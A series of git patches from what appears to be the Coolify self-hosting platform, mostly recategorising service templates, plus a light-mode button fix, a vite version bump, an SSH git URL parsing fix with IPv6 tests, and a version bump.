 # slogan: A free, self-hostable feed aggregator.
-# category: cms
+# category: RSS
 # tags: rss, feed
 # logo: svgs/freshrss.png
 # port: 80
diff --git a/templates/compose/freshrss-with-mysql.yaml b/templates/compose/freshrss-with-mysql.yaml
index 13cb1be39..f475de569 100644
--- a/templates/compose/freshrss-with-mysql.yaml
+++ b/templates/compose/freshrss-with-mysql.yaml
@@ -1,6 +1,6 @@
 # documentation: https://freshrss.org/index.html
 # slogan: A free, self-hostable feed aggregator.
-# category: cms
+# category: RSS
 # tags: rss, feed
 # logo: svgs/freshrss.png
 # port: 80
diff --git a/templates/compose/freshrss-with-postgresql.yaml b/templates/compose/freshrss-with-postgresql.yaml
index 9915f99f5..381aabc8b 100644
--- a/templates/compose/freshrss-with-postgresql.yaml
+++ b/templates/compose/freshrss-with-postgresql.yaml
@@ -1,6 +1,6 @@
 # documentation: https://freshrss.org/index.html
 # slogan: A free, self-hostable feed aggregator.
-# category: cms
+# category: RSS
 # tags: rss, feed
 # logo: svgs/freshrss.png
 # port: 80
diff --git a/templates/compose/freshrss.yaml b/templates/compose/freshrss.yaml
index 16813c0dd..b5c2e92c6 100644
--- a/templates/compose/freshrss.yaml
+++ b/templates/compose/freshrss.yaml
@@ -1,6 +1,6 @@
 # documentation: https://freshrss.org/index.html
 # slogan: A free, self-hostable feed aggregator.
-# category: cms
+# category: RSS
 # tags: rss, feed
 # logo: svgs/freshrss.png
 # port: 80
diff --git a/templates/compose/glance.yaml b/templates/compose/glance.yaml
index 3055a4ee0..90e985aad 100644
--- a/templates/compose/glance.yaml
+++ b/templates/compose/glance.yaml
@@ -1,6 +1,6 @@
 # documentation: https://github.com/glanceapp/glance
 # slogan: A self-hosted dashboard that puts all your feeds in one place.
-# category: monitoring
+# category: productivity
 # tags: dashboard, server, applications, interface, rrss
 # logo: svgs/glance.png
 # port: 8080
diff --git a/templates/compose/gotify.yaml b/templates/compose/gotify.yaml
index 10e8264f5..e653616fb 100644
--- a/templates/compose/gotify.yaml
+++ b/templates/compose/gotify.yaml
@@ -1,6 +1,6 @@
 # documentation: https://gotify.net/docs/install
 # slogan: Gotify is an open-source self-hosted notification server.
-# category: productivity
+# category: messaging
 # tags: productivity,notification,collaboration
 # logo: svgs/gotify.png
 # port: 80
@@ -26,4 +26,4 @@ services:
       interval: 5s
       timeout: 20s
       retries: 10
-    
\ No newline at end of file
+    
diff --git a/templates/compose/gowa.yaml b/templates/compose/gowa.yaml
index 32c3412e9..52c1c8a91 100644
--- a/templates/compose/gowa.yaml
+++ b/templates/compose/gowa.yaml
@@ -1,6 +1,6 @@
 # documentation: https://github.com/aldinokemal/go-whatsapp-web-multidevice
 # slogan: Golang WhatsApp - Built with Go for efficient memory use
-# category: cms
+# category: messaging
 # tags: whatsapp,golang,multidevice,api,go-whatsapp
 # logo: svgs/gowa.svg
 # port: 3000
diff --git a/templates/compose/hatchet.yaml b/templates/compose/hatchet.yaml
index 92e307734..597d9dc97 100644
--- a/templates/compose/hatchet.yaml
+++ b/templates/compose/hatchet.yaml
@@ -1,5 +1,6 @@
 # documentation: https://docs.hatchet.run/self-hosting/docker-compose
 # slogan: Hatchet allows you to run background tasks at scale with a high-throughput, low-latency computing service built on an open-source, fault-tolerant queue.
+# category: automation
 # tags: ai-agents,background-tasks,data-pipelines,scheduling
 # logo: svgs/hatchet.svg
 # port: 80
diff --git a/templates/compose/homebox.yaml b/templates/compose/homebox.yaml
index 7180fd459..8537247e4 100644
--- a/templates/compose/homebox.yaml
+++ b/templates/compose/homebox.yaml
@@ -1,6 +1,6 @@
 # documentation: https://github.com/sysadminsmedia/homebox
 # slogan: Homebox is the inventory and organization system built for the Home User.
-# category: storage
+# category: productivity
 # tags: inventory, home, organize
 # logo: svgs/homebox.svg
 # port: 7745
diff --git a/templates/compose/invoice-ninja.yaml b/templates/compose/invoice-ninja.yaml
index d24ef348d..c4581cc9f 100644
--- a/templates/compose/invoice-ninja.yaml
+++ b/templates/compose/invoice-ninja.yaml
@@ -1,6 +1,6 @@
 # documentation: https://invoiceninja.github.io/selfhost.html
 # slogan: The leading open-source invoicing platform
-# category: productivity
+# category: finance
 # tags: invoicing, billing, accounting, finance, self-hosted
 # logo: svgs/invoiceninja.png
 # port: 9000
diff --git a/templates/compose/miniflux.yaml b/templates/compose/miniflux.yaml
index 6c6634cd8..20a79aef0 100644
--- a/templates/compose/miniflux.yaml
+++ b/templates/compose/miniflux.yaml
@@ -1,6 +1,6 @@
 # documentation: https://miniflux.app/docs/index.html
 # slogan: Miniflux is a minimalist and opinionated feed reader.
-# category: cms
+# category: RSS
 # tags: miniflux,rss,feed,self,hosted
 # logo: svgs/miniflux.svg
 # port: 8080
diff --git a/templates/compose/newt-pangolin.yaml b/templates/compose/newt-pangolin.yaml
index 7e2db3253..40a1ee31d 100644
--- a/templates/compose/newt-pangolin.yaml
+++ b/templates/compose/newt-pangolin.yaml
@@ -1,5 +1,6 @@
 # documentation: https://docs.digpangolin.com/manage/sites/install-site
 # slogan: Pangolin tunnels your services to the internet so you can access anything from anywhere.
+# category: proxy
 # tags: wireguard, reverse-proxy, zero-trust-network-access, open source
 # logo: svgs/pangolin-logo.png
 
diff --git a/templates/compose/nocodb.yaml b/templates/compose/nocodb.yaml
index ab68cddb4..902a201a9 100644
--- a/templates/compose/nocodb.yaml
+++ b/templates/compose/nocodb.yaml
@@ -1,6 +1,6 @@
 # documentation: https://nocodb.com/
 # slogan: NocoDB is an open source Airtable alternative. Turns any MySQL, PostgreSQL, SQL Server, SQLite & MariaDB into a smart-spreadsheet.
-# category: automation
+# category: productivity
 # tags: nocodb,airtable,mysql,postgresql,sqlserver,sqlite,mariadb
 # logo: svgs/nocodb.svg
 # port: 8080
diff --git a/templates/compose/odoo.yaml b/templates/compose/odoo.yaml
index e71b415c5..ce5dd50c7 100644
--- a/templates/compose/odoo.yaml
+++ b/templates/compose/odoo.yaml
@@ -1,6 +1,6 @@
 # documentation: https://www.odoo.com/
 # slogan: Odoo is a suite of open-source business apps that cover all your company needs.
-# category: cms
+# category: productivity
 # tags: business, apps, CRM, eCommerce, accounting, inventory, point of sale, project management, open-source
 # logo: svgs/odoo.svg
 # port: 8069
diff --git a/templates/compose/open-archiver.yaml b/templates/compose/open-archiver.yaml
index e491eaac1..f6a7ba9b0 100644
--- a/templates/compose/open-archiver.yaml
+++ b/templates/compose/open-archiver.yaml
@@ -1,5 +1,6 @@
 # documentation: https://docs.openarchiver.com/
 # slogan: A self-hosted, open-source email archiving solution with full-text search capability.
+# category: email
 # tags: email archiving,email,compliance,search
 # logo: svgs/openarchiver.svg
 # port: 3000
diff --git a/templates/compose/openpanel.yaml b/templates/compose/openpanel.yaml
index 0d37886a8..6dd2382e3 100644
--- a/templates/compose/openpanel.yaml
+++ b/templates/compose/openpanel.yaml
@@ -1,6 +1,6 @@
 # documentation: https://openpanel.dev/docs
 # slogan: Open source alternative to Mixpanel and Plausible for product analytics
-# category: devtools
+# category: analytics
 # tags: analytics, insights, privacy, mixpanel, plausible, google, alternative
 # logo: svgs/openpanel.svg
 # port: 3000
diff --git a/templates/compose/opnform.yaml b/templates/compose/opnform.yaml
index 8b4bbe3f5..86502b800 100644
--- a/templates/compose/opnform.yaml
+++ b/templates/compose/opnform.yaml
@@ -1,5 +1,6 @@
 # documentation: https://docs.opnform.com/introduction
 # slogan: OpnForm is an open-source form builder that lets you create beautiful forms and share them anywhere. It's super fast, you don't need to know how to code
+# category: productivity
 # tags: opnform, form, survey, cloud, open-source, self-hosted, docker, no-code, embeddable
 # logo: svg/opnform.svg
 # port: 80
diff --git a/templates/compose/orangehrm.yaml b/templates/compose/orangehrm.yaml
index e34c6709c..c93495a1f 100644
--- a/templates/compose/orangehrm.yaml
+++ b/templates/compose/orangehrm.yaml
@@ -1,6 +1,6 @@
 # documentation: https://starterhelp.orangehrm.com/hc/en-us
 # slogan: OrangeHRM open source HR management software.
-# category: cms
+# category: productivity
 # tags: HR, HRIS, HRMS, human resource management, OrangeHRM, HR management
 # logo: svgs/orangehrm.svg
 # port: 80
diff --git a/templates/compose/osticket.yaml b/templates/compose/osticket.yaml
index 53eec22e2..7d502989a 100644
--- a/templates/compose/osticket.yaml
+++ b/templates/compose/osticket.yaml
@@ -1,6 +1,6 @@
 # documentation: https://docs.osticket.com/en/latest/
 # slogan: osTicket is a widely-used open source support ticket system.
-# category: cms
+# category: helpdesk
 # tags: helpdesk, ticketing, support, open-source
 # logo: svgs/osticket.png
 # port: 80
diff --git a/templates/compose/palworld.yaml b/templates/compose/palworld.yaml
index 4875d16f8..28704ccfe 100644
--- a/templates/compose/palworld.yaml
+++ b/templates/compose/palworld.yaml
@@ -1,3 +1,4 @@
+# category: games
 services:
   palworld:
     image: thijsvanloef/palworld-server-docker:v1.4.6
diff --git a/templates/compose/paymenter.yaml b/templates/compose/paymenter.yaml
index 6ce4ae3b9..d86c101a4 100644
--- a/templates/compose/paymenter.yaml
+++ b/templates/compose/paymenter.yaml
@@ -1,6 +1,6 @@
 # documentation: https://paymenter.org/docs/guides/docker
 # slogan: Open-Source Billing, Built for Hosting
-# category: cms
+# category: finance
 # tags: automation, billing, open source
 # logo: svgs/paymenter.svg
 # port: 80
diff --git a/templates/compose/plunk.yaml b/templates/compose/plunk.yaml
index 6858f2967..11c72bf39 100644
--- a/templates/compose/plunk.yaml
+++ b/templates/compose/plunk.yaml
@@ -1,6 +1,6 @@
 # documentation: https://docs.useplunk.com/getting-started/introduction
 # slogan: Plunk, The Open-Source Email Platform for AWS
-# category: automation
+# category: email
 # tags: plunk,email,automation,aws
 # logo: svgs/plunk.svg
 # port: 3000
diff --git a/templates/compose/proxyscotch.yaml b/templates/compose/proxyscotch.yaml
index 70342135c..d03268348 100644
--- a/templates/compose/proxyscotch.yaml
+++ b/templates/compose/proxyscotch.yaml
@@ -1,5 +1,6 @@
 # documentation: https://github.com/hoppscotch/proxyscotch
 # slogan: A simple proxy server created for https://hoppscotch.io - CORS proxy
+# category: proxy
 # tags: proxy,hoppscotch,cors
 # logo: svgs/hoppscotch.png
 # port: 9159
diff --git a/templates/compose/pydio-cells.yml b/templates/compose/pydio-cells.yml
index 77a24a533..622ffeeab 100644
--- a/templates/compose/pydio-cells.yml
+++ b/templates/compose/pydio-cells.yml
@@ -1,5 +1,6 @@
 # documentation: https://docs.pydio.com/
 # slogan: High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.
+# category: storage
 # tags: storage
 # logo: svgs/cells.svg
 # port: 8080
diff --git a/templates/compose/redmine.yaml b/templates/compose/redmine.yaml
index cdbf1f8ae..ca97a52a2 100644
--- a/templates/compose/redmine.yaml
+++ b/templates/compose/redmine.yaml
@@ -1,5 +1,6 @@
 # documentation: https://www.redmine.org/
 # slogan: Redmine is a flexible project management web application.
+# category: productivity
 # tags: redmine,project management
 # logo: svgs/redmine.svg
 # port: 3000
diff --git a/templates/compose/sftpgo.yaml b/templates/compose/sftpgo.yaml
index a80b56e80..c95245adb 100644
--- a/templates/compose/sftpgo.yaml
+++ b/templates/compose/sftpgo.yaml
@@ -1,5 +1,6 @@
 # documentation: https://docs.sftpgo.com/2.7/
 # slogan: SFTPGo is an event-driven SFTP, FTP/S, HTTP/S and WebDAV server.
+# category: storage
 # tags: sftpgo,sftp,ftp,file,webdav
 # logo: svgs/sftpgo.png
 # port: 8080
diff --git a/templates/compose/signoz.yaml b/templates/compose/signoz.yaml
index c7e044947..45380e88a 100644
--- a/templates/compose/signoz.yaml
+++ b/templates/compose/signoz.yaml
@@ -1,5 +1,6 @@
 # documentation: https://signoz.io/docs/introduction/
 # slogan: An observability platform native to OpenTelemetry with logs, traces and metrics.
+# category: monitoring
 # tags: telemetry, server, applications, interface, logs, monitoring, traces, metrics
 # logo: svgs/signoz.svg
 # port: 8080
diff --git a/templates/compose/silverbullet.yaml b/templates/compose/silverbullet.yaml
index 3cab77f96..0fd4a022b 100644
--- a/templates/compose/silverbullet.yaml
+++ b/templates/compose/silverbullet.yaml
@@ -1,5 +1,6 @@
 # documentation: https://v2.silverbullet.md/Install/Configuration
 # slogan: SilverBullet is a tool to develop, organize, and structure your personal knowledge and to make it universally accessible across all your devices.
+# category: productivity
 # tags: note-taking,markdown,pkm
 # logo: svgs/silverbullet.png
 # port: 3000
diff --git a/templates/compose/soketi-app-manager.yaml b/templates/compose/soketi-app-manager.yaml
index 730bce6c6..b43181758 100644
--- a/templates/compose/soketi-app-manager.yaml
+++ b/templates/compose/soketi-app-manager.yaml
@@ -1,5 +1,6 @@
 # documentation: https://github.com/rahulhaque/soketi-app-manager-filament
 # slogan: Manage soketi websocket server and apps with ease.
+# category: devtools
 # tags: soketi,websockets,app-manager,dashboard
 # logo: svgs/soketi-app-manager.svg
 # port: 8080
@@ -29,4 +30,4 @@ services:
       - METRICS_HOST=$METRICS_HOST
     healthcheck:
       test: ["CMD", "php-fpm-healthcheck"]
-      start_period: 10s
\ No newline at end of file
+      start_period: 10s
diff --git a/templates/compose/twenty.yaml b/templates/compose/twenty.yaml
index 3df15c453..72871fcc2 100644
--- a/templates/compose/twenty.yaml
+++ b/templates/compose/twenty.yaml
@@ -1,6 +1,6 @@
 # documentation: https://docs.twenty.com
 # slogan: Twenty is a CRM designed to fit your unique business needs.
-# category: cms
+# category: productivity
 # tags: crm, self-hosted, dashboard
 # logo: svgs/twenty.svg
 # port: 3000
diff --git a/templates/compose/unleash-with-postgresql.yaml b/templates/compose/unleash-with-postgresql.yaml
index fe0a8bfb4..c8a8a9dfa 100644
--- a/templates/compose/unleash-with-postgresql.yaml
+++ b/templates/compose/unleash-with-postgresql.yaml
@@ -1,6 +1,6 @@
 # documentation: https://docs.getunleash.io
 # slogan: Open source feature flag management for enterprises.
-# category: productivity
+# category: devtools
 # tags: unleash,feature flags,feature toggles,ab testing,open source
 # logo: svgs/unleash.svg
 # port: 4242
diff --git a/templates/compose/unleash-without-database.yaml b/templates/compose/unleash-without-database.yaml
index ec6a5d436..690eaf679 100644
--- a/templates/compose/unleash-without-database.yaml
+++ b/templates/compose/unleash-without-database.yaml
@@ -1,6 +1,6 @@
 # documentation: https://docs.getunleash.io
 # slogan: Open source feature flag management for enterprises.
-# category: productivity
+# category: devtools
 # tags: unleash,feature flags,feature toggles,ab testing,open source
 # logo: svgs/unleash.svg
 # port: 4242
diff --git a/templates/compose/usesend.yaml b/templates/compose/usesend.yaml
index 9ced822f3..b29643b0a 100644
--- a/templates/compose/usesend.yaml
+++ b/templates/compose/usesend.yaml
@@ -1,6 +1,6 @@
 # documentation: https://docs.usesend.com/self-hosting/overview
 # slogan: Usesend is an open-source alternative to Resend, Sendgrid, Mailgun and Postmark etc.
-# category: messaging
+# category: email
 # tags: resend, mailer, marketing emails, transaction emails, self-hosting, postmark
 # logo: svgs/usesend.svg
 # port: 3000

From 8446e0c049931420995bf84cd8b814ea6a0c1b9c Mon Sep 17 00:00:00 2001
From: Iisyourdad <tyler.westbrook1@gmail.com>
Date: Mon, 6 Apr 2026 13:57:40 -0500
Subject: [PATCH 020/102] (Changing Mattermost catagory)

---
 templates/compose/mattermost.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates/compose/mattermost.yaml b/templates/compose/mattermost.yaml
index 94aca3ac1..26faa2098 100644
--- a/templates/compose/mattermost.yaml
+++ b/templates/compose/mattermost.yaml
@@ -1,6 +1,6 @@
 # documentation: https://docs.mattermost.com
 # slogan: Mattermost is an open source, self-hosted Slack-alternative.
-# category: mattermost
+# category: messaging
 # tags: mattermost,slack,alternative
 # logo: svgs/mattermost.svg
 # port: 8065

From 17ba325924be852f49fb7ce313899ab9d341986a Mon Sep 17 00:00:00 2001
From: rosslh <ross@rosshill.ca>
Date: Mon, 6 Apr 2026 15:09:54 -0400
Subject: [PATCH 021/102] fix(ui): make dashboard add buttons visible in light
 mode

The "+" icon buttons next to "Projects" and "Servers" headings used
text-white without a dark: prefix, making them invisible on light
backgrounds. Changed to text-black dark:text-white so the icon is
visible in both themes.

Fixes #9454
---
 resources/views/livewire/dashboard.blade.php | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/resources/views/livewire/dashboard.blade.php b/resources/views/livewire/dashboard.blade.php
index 908c4a98a..26a404b17 100644
--- a/resources/views/livewire/dashboard.blade.php
+++ b/resources/views/livewire/dashboard.blade.php
@@ -15,7 +15,7 @@
                 <x-modal-input buttonTitle="Add" title="New Project">
                     <x-slot:content>
                         <button
-                            class="flex items-center justify-center size-4 text-white rounded hover:bg-coolgray-400 dark:hover:bg-coolgray-300 cursor-pointer">
+                            class="flex items-center justify-center size-4 text-black dark:text-white rounded hover:bg-coolgray-400 dark:hover:bg-coolgray-300 cursor-pointer">
                             <svg class="size-3" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
                                 stroke-width="2" stroke="currentColor">
                                 <path stroke-linecap="round" stroke-linejoin="round" d="M12 4.5v15m7.5-7.5h-15" />
@@ -81,7 +81,7 @@ class="flex items-center justify-center size-4 text-white rounded hover:bg-coolg
                 <x-modal-input buttonTitle="Add" title="New Server" :closeOutside="false">
                     <x-slot:content>
                         <button
-                            class="flex items-center justify-center size-4 text-white rounded hover:bg-coolgray-400 dark:hover:bg-coolgray-300 cursor-pointer">
+                            class="flex items-center justify-center size-4 text-black dark:text-white rounded hover:bg-coolgray-400 dark:hover:bg-coolgray-300 cursor-pointer">
                             <svg class="size-3" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
                                 stroke-width="2" stroke="currentColor">
                                 <path stroke-linecap="round" stroke-linejoin="round" d="M12 4.5v15m7.5-7.5h-15" />

From 85205406c0a54c029e32e637fe9e640c98bb6cb9 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Mon, 6 Apr 2026 21:04:04 +0000
Subject: [PATCH 022/102] build(deps-dev): bump vite from 7.3.0 to 7.3.2

Bumps [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) from 7.3.0 to 7.3.2.
- [Release notes](https://github.com/vitejs/vite/releases)
- [Changelog](https://github.com/vitejs/vite/blob/v7.3.2/packages/vite/CHANGELOG.md)
- [Commits](https://github.com/vitejs/vite/commits/v7.3.2/packages/vite)

---
updated-dependencies:
- dependency-name: vite
  dependency-version: 7.3.2
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
---
 package-lock.json | 8 ++++----
 package.json      | 2 +-
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/package-lock.json b/package-lock.json
index 6959704a1..0af80f950 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -23,7 +23,7 @@
                 "pusher-js": "8.4.0",
                 "tailwind-scrollbar": "4.0.2",
                 "tailwindcss": "4.1.18",
-                "vite": "7.3.0",
+                "vite": "7.3.2",
                 "vue": "3.5.26"
             }
         },
@@ -2709,9 +2709,9 @@
             "license": "MIT"
         },
         "node_modules/vite": {
-            "version": "7.3.0",
-            "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.0.tgz",
-            "integrity": "sha512-dZwN5L1VlUBewiP6H9s2+B3e3Jg96D0vzN+Ry73sOefebhYr9f94wwkMNN/9ouoU8pV1BqA1d1zGk8928cx0rg==",
+            "version": "7.3.2",
+            "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.2.tgz",
+            "integrity": "sha512-Bby3NOsna2jsjfLVOHKes8sGwgl4TT0E6vvpYgnAYDIF/tie7MRaFthmKuHx1NSXjiTueXH3do80FMQgvEktRg==",
             "dev": true,
             "license": "MIT",
             "dependencies": {
diff --git a/package.json b/package.json
index 81cd8c9a4..661b13e4c 100644
--- a/package.json
+++ b/package.json
@@ -16,7 +16,7 @@
         "pusher-js": "8.4.0",
         "tailwind-scrollbar": "4.0.2",
         "tailwindcss": "4.1.18",
-        "vite": "7.3.0",
+        "vite": "7.3.2",
         "vue": "3.5.26"
     },
     "dependencies": {

From d2ada90a471495bf4131e24801ebebc012b53155 Mon Sep 17 00:00:00 2001
From: Iisyourdad <tyler.westbrook1@gmail.com>
Date: Tue, 7 Apr 2026 22:41:15 -0500
Subject: [PATCH 023/102] fix(git): harden ssh URL normalization

---
 bootstrap/helpers/shared.php            |  8 +++---
 tests/Feature/ConvertingGitUrlsTest.php | 36 +++++++++++++++++++++++++
 2 files changed, 41 insertions(+), 3 deletions(-)

diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index 88ac01819..011c149c9 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -3660,14 +3660,16 @@ function convertGitUrl(string $gitRepository, string $deploymentType, GithubApp|
         }
     }
 
-    if (str($gitRepository)->contains('://')) {
-        $parsedRepository = parse_url($gitRepository);
+    $normalizedRepository = $repository;
+
+    if (str($normalizedRepository)->contains('://')) {
+        $parsedRepository = parse_url($normalizedRepository);
 
         if ($parsedRepository !== false && array_key_exists('port', $parsedRepository)) {
             $providerInfo['port'] = (string) $parsedRepository['port'];
         }
     } else {
-        preg_match('/^(?<host>[^:]+):(?<port>\d+)\/(?<path>.+)$/', $gitRepository, $matches);
+        preg_match('/^(?<host>[^:]+):(?<port>\d+)\/(?<path>.+)$/', $normalizedRepository, $matches);
 
         if (! empty($matches['port'])) {
             $providerInfo['port'] = $matches['port'];
diff --git a/tests/Feature/ConvertingGitUrlsTest.php b/tests/Feature/ConvertingGitUrlsTest.php
index 5ff1c8365..96b19fcc9 100644
--- a/tests/Feature/ConvertingGitUrlsTest.php
+++ b/tests/Feature/ConvertingGitUrlsTest.php
@@ -68,3 +68,39 @@
         'port' => '22222',
     ]);
 });
+
+test('convertGitUrlsForSourceAndSshUrlSchemeWithCustomPortAndIpv6Host', function () {
+    $result = convertGitUrl('ssh://git@[2001:db8::10]:22222/group/project.git', 'source', null);
+    expect($result)->toBe([
+        'repository' => 'ssh://git@[2001:db8::10]:22222/group/project.git',
+        'port' => '22222',
+    ]);
+});
+
+test('convertGitUrlsForDeployKeyAndGithubAppWithCustomPort', function () {
+    $githubApp = new GithubApp([
+        'html_url' => 'https://github.example.com',
+        'custom_user' => 'git',
+        'custom_port' => 22222,
+    ]);
+
+    $result = convertGitUrl('andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp);
+    expect($result)->toBe([
+        'repository' => 'ssh://git@github.example.com:22222/andrasbacsai/coolify-examples.git',
+        'port' => '22222',
+    ]);
+});
+
+test('convertGitUrlsForDeployKeyAndGithubAppWithCustomPortAndIpv6Host', function () {
+    $githubApp = new GithubApp([
+        'html_url' => 'https://[2001:db8::10]',
+        'custom_user' => 'git',
+        'custom_port' => 22222,
+    ]);
+
+    $result = convertGitUrl('andrasbacsai/coolify-examples.git', 'deploy_key', $githubApp);
+    expect($result)->toBe([
+        'repository' => 'ssh://git@[2001:db8::10]:22222/andrasbacsai/coolify-examples.git',
+        'port' => '22222',
+    ]);
+});

From d0c9b4eed8943e964522467ee70f5d0cf3c39c39 Mon Sep 17 00:00:00 2001
From: Immanuel Raj <iamimmanuelraj@gmail.com>
Date: Thu, 9 Apr 2026 00:00:38 +0530
Subject: [PATCH 024/102] Change netbird-client volume path in YAML config

---
 templates/compose/netbird-client.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates/compose/netbird-client.yaml b/templates/compose/netbird-client.yaml
index 4bc5e32e0..85b54da8b 100644
--- a/templates/compose/netbird-client.yaml
+++ b/templates/compose/netbird-client.yaml
@@ -13,7 +13,7 @@ services:
       - 'NB_ENABLE_ROSENPASS=${NB_ENABLE_ROSENPASS:-false}'
       - 'NB_ENABLE_EXPERIMENTAL_LAZY_CONN=${NB_ENABLE_EXPERIMENTAL_LAZY_CONN:-false}'
     volumes:
-      - 'netbird-client:/etc/netbird'
+      - 'netbird-client:/var/lib/netbird'
     cap_add:
       - NET_ADMIN
       - SYS_ADMIN

From 1a4913213f6fec7ba0ec95360d638aee14009c50 Mon Sep 17 00:00:00 2001
From: Tyler Westbrook <76657591+Iisyourdad@users.noreply.github.com>
Date: Thu, 9 Apr 2026 00:43:59 -0500
Subject: [PATCH 025/102] Update
 templates/compose/elasticsearch-with-kibana.yaml

Co-authored-by: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com>
---
 templates/compose/elasticsearch-with-kibana.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates/compose/elasticsearch-with-kibana.yaml b/templates/compose/elasticsearch-with-kibana.yaml
index 96b434427..7c83389e8 100644
--- a/templates/compose/elasticsearch-with-kibana.yaml
+++ b/templates/compose/elasticsearch-with-kibana.yaml
@@ -1,6 +1,6 @@
 # documentation: https://www.elastic.co/docs/deploy-manage/deploy/self-managed/install-kibana-with-docker
 # slogan: Elastic + Kibana is a Free and Open Source Search, Monitoring, and Visualization Stack
-# category: search
+# category: monitoring
 # tags: elastic,kibana,elasticsearch,search,visualization,logging,monitoring,observability,analytics,stack,devops
 # logo: svgs/elasticsearch.svg
 # port: 5601

From 92d1168228c3d0e9cc2be476cf2177f6ed223da9 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 9 Apr 2026 12:13:39 +0200
Subject: [PATCH 026/102] chore: bump version to 4.0.0-beta.472

---
 config/constants.php                    |   2 +-
 other/nightly/versions.json             |   2 +-
 templates/service-templates-latest.json | 112 ++++++++++++------------
 templates/service-templates.json        | 112 ++++++++++++------------
 versions.json                           |   2 +-
 5 files changed, 115 insertions(+), 115 deletions(-)

diff --git a/config/constants.php b/config/constants.php
index 9ce471560..d0ae9be65 100644
--- a/config/constants.php
+++ b/config/constants.php
@@ -2,7 +2,7 @@
 
 return [
     'coolify' => [
-        'version' => '4.0.0-beta.471',
+        'version' => '4.0.0-beta.472',
         'helper_version' => '1.0.13',
         'realtime_version' => '1.0.12',
         'self_hosted' => env('SELF_HOSTED', true),
diff --git a/other/nightly/versions.json b/other/nightly/versions.json
index a6b1936e6..26d755967 100644
--- a/other/nightly/versions.json
+++ b/other/nightly/versions.json
@@ -1,7 +1,7 @@
 {
     "coolify": {
         "v4": {
-            "version": "4.0.0-beta.471"
+            "version": "4.0.0-beta.472"
         },
         "nightly": {
             "version": "4.0.0"
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index 15eb0ba08..02b27976f 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -27,7 +27,7 @@
             "expenses",
             "income"
         ],
-        "category": "productivity",
+        "category": "finance",
         "logo": "svgs/actualbudget.png",
         "minversion": "0.0.0",
         "port": "5006"
@@ -163,7 +163,7 @@
             "data-science",
             "nlp"
         ],
-        "category": "productivity",
+        "category": "ai",
         "logo": "svgs/argilla.png",
         "minversion": "0.0.0",
         "port": "6900"
@@ -216,7 +216,7 @@
             "self-hosted",
             "dbaas"
         ],
-        "category": null,
+        "category": "database",
         "logo": "svgs/autobase.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -353,7 +353,7 @@
             "budgeting",
             "expense tracking"
         ],
-        "category": "productivity",
+        "category": "finance",
         "logo": "svgs/budge.png",
         "minversion": "0.0.0"
     },
@@ -427,7 +427,7 @@
             "download",
             "downloader"
         ],
-        "category": null,
+        "category": "media",
         "logo": "svgs/calibre-web-automated-with-downloader.png",
         "minversion": "0.0.0",
         "port": "8083"
@@ -464,7 +464,7 @@
             "low",
             "code"
         ],
-        "category": null,
+        "category": "media",
         "logo": "svgs/cap.svg",
         "minversion": "0.0.0",
         "port": "5679"
@@ -520,7 +520,7 @@
             "postgresql",
             "sidekiq"
         ],
-        "category": "cms",
+        "category": "helpdesk",
         "logo": "svgs/chaskiq.png",
         "minversion": "0.0.0",
         "port": "3000"
@@ -540,7 +540,7 @@
             "postgresql",
             "sidekiq"
         ],
-        "category": "cms",
+        "category": "helpdesk",
         "logo": "svgs/chatwoot.svg",
         "minversion": "0.0.0",
         "port": "3000"
@@ -570,7 +570,7 @@
             "upload",
             "sharing"
         ],
-        "category": null,
+        "category": "storage",
         "logo": "svgs/chibisafe.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -970,7 +970,7 @@
             "crm",
             "erp"
         ],
-        "category": "cms",
+        "category": "productivity",
         "logo": "svgs/dolibarr.png",
         "minversion": "0.0.0",
         "port": "80"
@@ -1016,7 +1016,7 @@
             "open-source",
             "low-code"
         ],
-        "category": "backend",
+        "category": "devtools",
         "logo": "svgs/drizzle.jpeg",
         "minversion": "0.0.0",
         "port": "4983"
@@ -1080,7 +1080,7 @@
             "stack",
             "devops"
         ],
-        "category": null,
+        "category": "monitoring",
         "logo": "svgs/elasticsearch.svg",
         "minversion": "0.0.0",
         "port": "5601"
@@ -1215,7 +1215,7 @@
             "automation",
             "project management"
         ],
-        "category": "cms",
+        "category": "productivity",
         "logo": "svgs/espocrm.svg",
         "minversion": "0.0.0",
         "port": "80"
@@ -1322,7 +1322,7 @@
             "personal",
             "manager"
         ],
-        "category": "productivity",
+        "category": "finance",
         "logo": "svgs/firefly.svg",
         "minversion": "0.0.0",
         "port": "8080"
@@ -1501,7 +1501,7 @@
             "forms",
             "survey"
         ],
-        "category": "analytics",
+        "category": "productivity",
         "logo": "svgs/formbricks.png",
         "minversion": "0.0.0",
         "port": "3000"
@@ -1517,7 +1517,7 @@
             "ttrpg",
             "roleplaying"
         ],
-        "category": "media",
+        "category": "games",
         "logo": "svgs/foundryvtt.png",
         "minversion": "0.0.0",
         "port": "30000"
@@ -1532,7 +1532,7 @@
             "ticketing",
             "customer-support"
         ],
-        "category": "cms",
+        "category": "helpdesk",
         "logo": "svgs/freescout.png",
         "minversion": "0.0.0",
         "port": "80"
